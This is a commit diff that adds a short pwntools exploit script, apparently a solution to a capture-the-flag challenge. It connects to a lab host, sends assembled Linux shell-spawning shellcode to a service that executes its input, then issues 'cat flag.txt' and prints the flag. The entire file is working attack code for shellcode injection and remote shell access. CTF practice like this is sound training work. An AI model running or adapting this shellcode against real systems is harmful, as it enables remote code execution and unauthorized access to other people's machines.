initial commit

CTF/TryPwnMeOne/TryExecMe/exploit.py

@@ -0,0 +1,20 @@
+#!/bin/python3
+
+from pwn import *
+
+context.update(os="linux", arch="amd64", log_level="error")
+r = remote("10.10.111.44", 9005)
+
+payload = asm(shellcraft.sh())
+
+r.recvuntil(b"Give me your shell, and I will execute it: \n")
+
+r.sendline(payload)
+
+r.recvuntil(b"Executing Spell...\n\n")
+
+r.sendline(b"cat flag.txt")
+
+print(r.recvline().decode())
+
+r.close()